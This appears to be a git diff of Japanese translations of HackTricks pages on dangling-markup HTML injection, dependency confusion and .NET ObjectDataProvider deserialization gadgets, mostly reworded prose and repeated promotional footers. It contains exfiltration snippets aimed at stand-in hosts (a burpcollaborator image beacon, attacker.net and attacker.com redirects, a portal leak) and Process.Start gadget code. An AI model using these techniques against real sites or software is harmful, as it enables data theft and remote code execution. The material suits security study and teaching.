<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a> <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target=' <base target='
``` ```
注意してください。**被害者**に**リンクをクリック**してもらい、**あなたが制御する****ペイロード**に**リダイレクト**るように依頼します。また、**`base`**タグ内の**`target`**属性には、次のシングルクォートまで**HTMLコンテンツ**が含まれていることに注意してください。\ 注意してください。**被害者**に**リンクをクリック**してもらい、**あなたが制御する****ペイロード**に**リダイレクト**させるように依頼します。また、**`base`**タグ内の**`target`**属性には、次のシングルクォートまで**HTMLコンテンツ**が含まれていることに注意してください。\
これにより、リンクがクリックされた場合の**`window.name`**の**値**は、その**HTMLコンテンツ**全体になります。したがって、被害者がリンクをクリックしてアクセスしているページを制御しているため、**`window.name`**にアクセスしてそのデータを**外部送信**することができます。 これにより、リンクがクリックされた場合の**`window.name`**の**値**は、その**HTMLコンテンツ**全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、**`window.name`**にアクセスしてそのデータを**外部送信**することができます。
```html ```html
<script> <script>
if(window.name) { if(window.name) {
@ -116,7 +116,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
``` ```
### 誤解を招くスクリプトワークフロー1 - HTMLネームスペース攻撃 ### 誤解を招くスクリプトワークフロー1 - HTMLネームスペース攻撃
次のものを上書きし、スクリプトのフローに影響を与える値を持つ新しいタグをHTML内に挿入します。この例では、情報を共有する相手を選択します 次のものを上書きし、スクリプトのフローに影響を与える値を持つ新しいタグをHTML内に挿入します。この例では、情報を共有する相手を選択しています:
```html ```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup <input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
... ...
@ -175,13 +175,13 @@ set_sharing({ ... })
``` ```
### Iframeの悪用 ### Iframeの悪用
子ドキュメントは、親の`location`プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、**iframe**内にスクリプトを埋め込んでクライアントを任意のページにリダイレクトさせることが可能です。 子ドキュメントは、親の`location`プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、**iframe**内にスクリプトを埋め込み、クライアントを任意のページにリダイレクトさせることが可能です。
```html ```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html> <html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
``` ```
これは次のように緩和することができます: `sandbox=' allow-scripts allow-top-navigation'` これは次のようにして緩和することができます: `sandbox=' allow-scripts allow-top-navigation'`
また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます **iframeのname属性を使用**。これは、**機密情報がiframeのname属性内に表示されるHTMLインジェクションを悪用して自分自身をiframesするiframeを作成できる**ため、初期のiframeからその名前にアクセスして漏洩させることができます。 また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます **iframeのname属性を使用**。これは、**機密情報がiframeのname属性内に表示されるようにするHTMLインジェクションを悪用して自分自身をiframeするiframeを作成できる**ため、初期のiframeからその名前にアクセスして漏洩させることができます。
```html ```html
<script> <script>
function cspBypass(win) { function cspBypass(win) {
@ -198,7 +198,7 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
**`meta http-equiv`**を使用してCookieを設定するなど、**複数のアクション**を実行できます:`<meta http-equiv="Set-Cookie" Content="SESSID=1">`またはリダイレクトを実行するこの場合は5秒後に`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />` **`meta http-equiv`**を使用してCookieを設定するなど、**複数のアクション**を実行できます:`<meta http-equiv="Set-Cookie" Content="SESSID=1">`またはリダイレクトを実行するこの場合は5秒後に`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
これは**`Content-Security-Policy: default-src 'self';`**や**`Content-Security-Policy: http-equiv 'self';`**に関する**CSP**で**回避**できます。 これは**http-equiv**に関する**CSP**で**回避**できます(`Content-Security-Policy: default-src 'self';`、または`Content-Security-Policy: http-equiv 'self';`
### 新しい\<portal HTMLタグ ### 新しい\<portal HTMLタグ
@ -207,13 +207,13 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
```html ```html
<portal src='https://attacker-server? <portal src='https://attacker-server?
``` ```
### HTMLリーク ### HTML リーク
HTMLで接続情報を漏洩させる方法のすべてがDangling Markupに役立つわけではありませんが、時には役立つこともあります。こちらで確認できます[https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html) HTML で接続情報を漏洩させる方法のすべてが Dangling Markup に役立つわけではありませんが、時には役立つこともあります。こちらで確認できます: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SSリーク ## SS-Leaks
これは**dangling markupとXS-Leaksのミックス**です。脆弱性の一方では、攻撃対象となるページの**同一オリジン**にHTMLJSではないを**インジェクト**することができます。他方では、HTMLをインジェクトできるページを直接攻撃するのではなく、**別のページ**を攻撃します。 これは **dangling markup XS-Leaks のミックス**です。脆弱性の一方では、攻撃対象となるページの **同一オリジン** に HTMLJS ではない)を **注入** することができます。他方では、HTML を注入できるページを直接攻撃するのではなく、**別のページ** を攻撃します。
{% content-ref url="ss-leaks.md" %} {% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md) [ss-leaks.md](ss-leaks.md)
@ -221,7 +221,7 @@ HTMLで接続情報を漏洩させる方法のすべてがDangling Markupに役
## XS-Search/XS-Leaks ## XS-Search/XS-Leaks
XS-Searchは**サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出**させることを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含有を悪用しますJSの実行あり・なし、例えば[**CSS Injection**](../xs-search.md#css-injection)や[**Lazy Load Images**](../xs-search.md#image-lazy-loading)**など**。 XS-Search **サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出** することを目的としています。そのため、これは Dangling Markup とは異なる技術ですが、一部の技術は HTML タグの含有を悪用していますJS の実行あり・なし)、例えば [**CSS Injection**](../xs-search.md#css-injection) や [**Lazy Load Images**](../xs-search.md#image-lazy-loading)**.**
{% content-ref url="../xs-search.md" %} {% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md) [xs-search.md](../xs-search.md)
@ -240,14 +240,14 @@ XS-Searchは**サイドチャネル攻撃を悪用してクロスオリジン情
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝** したい場合や **HackTricks を PDF でダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングトリックを共有するために**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub リポジトリに PR を提出する
</details> </details>

View file

@ -9,8 +9,8 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する** * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>
@ -25,7 +25,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する** * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>

View file

@ -2,45 +2,45 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手したい**、またはHackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングテクニックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>
## 基本情報 ## 基本情報
要約すると、依存関係混乱の脆弱性は、プロジェクトが**スペルミス**、**存在しない**ライブラリ、または**指定されていないバージョン**を使用しており、使用されている依存関係リポジトリが**公共のリポジトリから更新されたバージョンを収集できる**場合に発生します。 要約すると、依存関係混乱の脆弱性は、プロジェクトが**スペルミス**、**存在しない**ライブラリ、または**指定されていないバージョン**を使用しており、使用されている依存関係リポジトリが**公リポジトリから更新されたバージョンを収集できる**場合に発生します。
* **スペルミス**: `requests`の代わりに**`reqests`**をインポート * **スペルミス**: `requests`の代わりに**`reqests`**をインポート
* **存在しない**: 存在しない内部ライブラリである`company-logging`をインポート * **存在しない**: 存在しない内部ライブラリである`company-logging`をインポート
* **指定されていないバージョン**: **内部**の**存在する**`company-requests`ライブラリをインポートしますが、リポジトリは**公共のリポジトリ**をチェックして**より大きなバージョン**があるかどうかを確認します。 * **指定されていないバージョン**: **内部**の**存在する**`company-requests`ライブラリをインポートしますが、リポジトリは**公リポジトリ**をチェックして**より大きなバージョン**があるかどうかを確認します。
## 悪用 ## 悪用
{% hint style="warning" %} {% hint style="warning" %}
すべての場合において、攻撃者は単に被害企業が使用しているライブラリの名前を持つ**悪意のあるパッケージを公開する必要があります** すべての場合、攻撃者は単に被害企業が使用しているライブラリの**名前を持つ悪意のあるパッケージを公開する**必要があります。
{% endhint %} {% endhint %}
### スペルミス & 存在しない ### スペルミス存在しない
企業が**内部ではないライブラリをインポート**しようとしている場合、おそらくライブラリのリポジトリはそれを**公共のリポジトリ**で検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンは高い確率で危険にさらされるでしょう。 企業が**内部ではないライブラリをインポートしようとしている**場合、ライブラリのリポジトリは**おそらく公開リポジトリ**でそれを検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンはおそらく**侵害される**でしょう。
### 指定されていないバージョン ### 指定されていないバージョン
開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタはこれらの要件に一致する**最新バージョン**をダウンロードしようとします。\ 開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタはこれらの要件に一致する**最新バージョン**をダウンロードしようとします。\
ライブラリが**既知の外部ライブラリ**(例:Pythonの`requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の著者でない限り)。\ ライブラリが**既知の外部ライブラリ**(例:pythonの`requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の著者でない限り)。\
ただし、この例のように`requests-company`のような**内部**のライブラリの場合、**ライブラリリポジトリ**が**外部からも新しいバージョンを確認できる**場合、公利用可能な新しいバージョンを検索します。\ ただし、この例のように`requests-company`のような**内部**のライブラリの場合、**ライブラリリポジトリ**が**外部からも新しいバージョンを確認できる**場合、公開で利用可能な新しいバージョンを検索します。\
したがって、**攻撃者が**企業が`requests-company`ライブラリ**バージョン1.0.1**を使用していることを**知っている**場合(マイナーアップデートを許可)、`requests-company`**バージョン1.0.2**を公開し、企業は内部のものの代わりに**そのライブラリを使用**することになります。 したがって、**攻撃者が**企業が`requests-company`ライブラリ**バージョン1.0.1**を使用していることを**知っている**場合(マイナーアップデートを許可)、ライブラリ`requests-company` **バージョン1.0.2**を**公開**すると、企業は**内部のものの代わりにそのライブラリを使用**します。
## AWSの修正 ## AWSの修正
この脆弱性はAWSの**CodeArtifact**で見つかりました(このブログポストの[**詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\ この脆弱性はAWSの**CodeArtifact**で見つかりました(このブログポストの[**詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
AWSは、内部依存関係を外部リポジトリからダウンロードすることを避けるために、ライブラリが内部か外部かを指定できるように修正しました。 AWSは、内部依存関係を外部リポジトリからダウンロードするを避けるために、ライブラリが内部か外部かを指定できるように修正しました。
## 脆弱なライブラリの検出 ## 脆弱なライブラリの検出
@ -53,12 +53,12 @@ AWSは、内部依存関係を外部リポジトリからダウンロードす
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手したい**、またはHackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングテクニックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>

View file

@ -2,33 +2,33 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>
この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得する方法、および**Serializationライブラリ**である**Json.NetとxmlSerializerが**どのように悪用されるかについて説明します。 この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得し、**SerializationライブラリJson.NetおよびxmlSerializerがどのように悪用されるか**を理解することに捧げられています。
## ObjectDataProviderガジェット ## ObjectDataProviderガジェット
ドキュメントから_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\ ドキュメントから_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\
はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して**任意のオブジェクトで宣言された**任意の関数を呼び出す**ことができます。\ はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して任意の関数**を呼び出すことができます。任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数を呼び出すことができます。\
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**任意の**パラメータを使用して**関数を**実行**します。 したがって、任意の**オブジェクト**は、**逆シリアル化されながら**任意の**パラメータを使用して関数を実行**します。
### **これが可能な理由** ### **これが可能な理由**
ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内に見つかります。 ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内にります。
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味を持つクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。 [**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味を持つクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。
![](<../../.gitbook/assets/image (299).png>) ![](<../../.gitbook/assets/image (299).png>)
`MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう: `MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう:
![](<../../.gitbook/assets/image (300).png>) ![](<../../.gitbook/assets/image (300).png>)
@ -40,7 +40,7 @@ ObjectDataProviderが定義および実装されている**System.Windows.Data**
![](<../../.gitbook/assets/image (302) (1).png>) ![](<../../.gitbook/assets/image (302) (1).png>)
このコードは`QueryWorker`関数の完全なコードではありませんが、その興味深い部分を示しています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出しており、これは**設定されたメソッドが呼び出される**行です。 このコードは`QueryWorker`関数の完全なコードではありませんが、その興味深い部分を示しています:コードは**`this.InvokeMethodOnInstance(out ex);`を呼び出します**。これは、**設定されたメソッドが呼び出される**行です。
単に_**MethodName**_を設定するだけで実行されることを確認したい場合は、このコードを実行できます 単に_**MethodName**_を設定するだけで実行されることを確認したい場合は、このコードを実行できます
```java ```java
@ -66,10 +66,10 @@ myODP.MethodName = "Start";
## ExpandedWrapper ## ExpandedWrapper
前述の脆弱性を使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**逆シリアル化される**場合がありますたとえば、DotNetNukeの脆弱性では、`GetType`を使用してオブジェクトが逆シリアル化されました。その後、_ObjectDataProvider_ インスタンスに**ラップされたオブジェクトタイプの知識がない**状態になります(たとえば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちら](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)で確認できます。 前述の脆弱性を使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**逆シリアル化される**場合がありますたとえば、DotNetNukeの脆弱性では、`GetType`を使用してオブジェクトが逆シリアル化されました。その後、_ObjectDataProvider_ インスタンスに**ラップされたオブジェクトタイプの知識がない**状況が発生します(たとえば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちら](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)で確認できます。
このクラスは、与えられたインスタンスにカプセル化されたオブジェクトのオブジェクトタイプを**指定する**ことができます。したがって、このクラスは、ソースオブジェクト_ObjectDataProvider_を新しいオブジェクトタイプにカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ および _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ このクラスは、与えられたインスタンスにカプセル化されたオブジェクトのオブジェクトタイプを**指定する**ことができます。したがって、このクラスは、ソースオブジェクト_ObjectDataProvider_を新しいオブジェクトタイプにカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ および _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
これは以前に提示されたケースのような場合に非常に便利です。なぜなら、**\_ObjectDataProvider**_を**_ExpandedWrapper_**インスタンスの内部に**ラップ**し、このクラスを**逆シリアル化すると**、_**MethodName**_で指定された**関数**を**実行する**_**OjectDataProvider**_オブジェクトが**作成**されるからです。 これは以前に提示されたケースのような場合に非常に便利です。なぜなら、**\_ObjectDataProvider**を**\_ExpandedWrapper**インスタンスの内部に**ラップ**し、このクラスを**逆シリアル化すると**、_**MethodName**_で指定された**関数**を**実行する**_**OjectDataProvider**_オブジェクトが**作成**されるからです。
次のコードでこのラッパーを確認できます: 次のコードでこのラッパーを確認できます:
```java ```java
@ -95,11 +95,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
